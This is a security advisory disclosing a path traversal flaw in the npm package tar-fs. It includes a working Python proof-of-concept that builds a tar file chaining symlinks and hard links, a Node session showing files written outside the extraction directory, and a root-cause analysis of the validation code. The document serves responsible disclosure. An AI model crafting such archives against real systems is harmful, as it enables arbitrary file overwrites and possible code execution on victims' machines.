NPM package tar-fs allows a malicious tar file to write arbitrary files outside the destination directory.
Critical - Anyone using tar-fs for extraction files with extract(), directly or indirectly, must patch immediately, or introduce other mitigating controls.
This proof-of-concept assumes it is being run under /home/username
.
The tar file created in this PoC will modify the /home/username/flag/flag
file that exists outside of the destination path the tar file is extracted into. The tar file will also create /home/username/flag/newfile
.
This has been tested on Linux with tar-fs v3.0.8, v2.1.2, v1.16.4, Node v18.19.1, v24.0.2, and NPM v9.2.0, v11.3.0.
$ pwd /home/username $ mkdir flag $ echo "hello world" > flag/flag
Open a Python interpreter and run the following code (can be copy and pasted).
import tarfile import io with tarfile.open("poc.tar", mode="x") as tar: root = tarfile.TarInfo("root") root.linkname = ("noop/" * 15) + ("../" * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo("noop") noop.linkname = "." noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo("hardflag") hard.linkname = "root/home/username/flag/flag" hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b"overwrite\n" overwrite = tarfile.TarInfo("hardflag") overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b"new!\n" # The following code is for [email protected] only. [email protected] and [email protected] # correctly validate this filename, which stops this file being created. newfile = tarfile.TarInfo("root/home/username/flag/newfile") newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))
$ pwd /home/username $ ls flag # check the flag dir and file are unchanged flag $ cat flag/flag hello world $ mkdir otherdir # this is a dummy dir to keep everything clean $ cd otherdir $ npm install tar-fs # install tar-fs $ node Welcome to Node.js v18.19.1. Type ".help" for more information. > const tar = require('tar-fs'); undefined > const fs = require('fs'); undefined > fs.createReadStream('../poc.tar').pipe(tar.extract('.')); <ref *1> Extract { //... } > CTRL-D $ cd .. $ ls flag # the flag dir is different! flag newfile $ cat flag/flag overwrite $ cat flag/newfile new!
tar-fs has checks that attempt to prevent the creation of symlinks where the target is outside the destination directory. This amounts to the following check in onsymlink()
:
const dst = path.resolve(path.dirname(name), header.linkname) if (!inCwd(dst)) return next(new Error(name + ' is not a valid symlink'))
Path.resolve()
merely joins paths passed as arguments and returns an absolute path without any ".."
components, joining the path with the current directory if needed. No attempt is made to resolve any symlinks in the path, nor check that they exist.
This means that a linkname
like "noop/noop/noop/../../../"
can be successfully created as it simply returns dst
and passes the inCwd(dst)
check. Likewise, noop
, with a linkname
of "."
, also evaluates to dst
.
However, once these symlinks are both created they can be used together to escape the destination directory. "noop/noop/noop"
evaluates to "."
, which means "noop/noop/noop/../../../"
becomes "./../../../"
allowing traversal outside the destination directory.
Now that we have a symlink pointing outside the destination directory, the symlink can be used to create hard links that point to files outside the destination directory. These hard links can then be overwritten, replacing the contents of the file outside the destination directory.
This is possible due to the lack of validation when creating hard links in onlink()
:
const dst = path.join(cwd, path.join('/', header.linkname)) xfs.link(dst, name, function (err) { if (err && err.code === 'EPERM' && opts.hardlinkAsFilesFallback) { stream = xfs.createReadStream(dst) return onfile() } stat(err)
When determining dst
the path is forced to be under cwd
, regardless of whether linkname
contains any ".."
. However, since the path used starts with the symlink created above (e.g. root/etc/passwd
) dst
can both start with cwd
, and point outside the destination directory, anywhere on the same filesystem.
Furthermore, when extracting files, if a file already exists, the same inode is written to - allowing arbitrary writes outside of the destination directory.
Prior to v3.0.2, the validate()
function would recursively check every component of the filename to ensure that either the component didn't exist, or was a directory.
// validate from v3.0.1 and earlier was effectively the following: function validate (fs, name, root, cb) { if (name === root) return cb(null, true) fs.lstat(name, function (err, st) { if (err && err.code !== 'ENOENT') return cb(err) if (err || st.isDirectory()) return validate(fs, path.join(name, '..'), root, cb) cb(null, false) }) }
If a symlink was encountered, the callback was called indicating that the name had failed to validate.
v3.0.2 included PR#106, which appears to fix a windows related issue. This change meant that validate()
now only checked the path until it found the first component above the filename that was a directory, weakening the validation.
// validate from v3.0.2 and later is now: function validate (fs, name, root, cb) { if (name === root) return cb(null, true) fs.lstat(name, function (err, st) { if (err && err.code === 'ENOENT') return validate(fs, path.join(name, '..'), root, cb) else if (err) return cb(err) cb(null, st.isDirectory()) }) }
This means that for a tar file entry to be successfully extracted under a symlink, we need to ensure that there is a directory under the symlink as well. i.e. "symlink/.../dir/.../filename"
.
This regression, in conjunction with the root
symlink above, now means we can now successfully create any tar file entry anywhere on the filesystem, except in the root directory.
The latest versions of tar-fs v3.0.8, v2.1.2 and v1.16.4 are all vulnerable to arbitrary file writes via a hard link. Given previous vulnerabilities CVE-2018-20835 and CVE-2024-12905, all versions of tar-fs are likely vulnerable to this bug.
Only v3.0.2 - v.3.0.8 are vulnerable to both the hard link vulnerability and the symlink vulnerability.
Tar-fs is a very popular package:
(Sources: https://deps.dev/npm/tar-fs/3.0.8/versions, https://www.npmjs.com/package/tar-fs?activeTab=versions, sampled May 16, 2025).
Approximately half of these dependencies appear to come from prebuild-install
.
Through the directory traversal arbitrary reads and writes are possible. Arbitrary reads allow an attacker to read sensitive data, while arbitrary writes allow an attacker to modify or destroy data, and in some cases arbitrary writes can be used to gain remote access, or run arbitrary code.
Timeline
Date reported: 2025-05-16
Date fixed: 2025-05-22
Date disclosed: 2025-08-14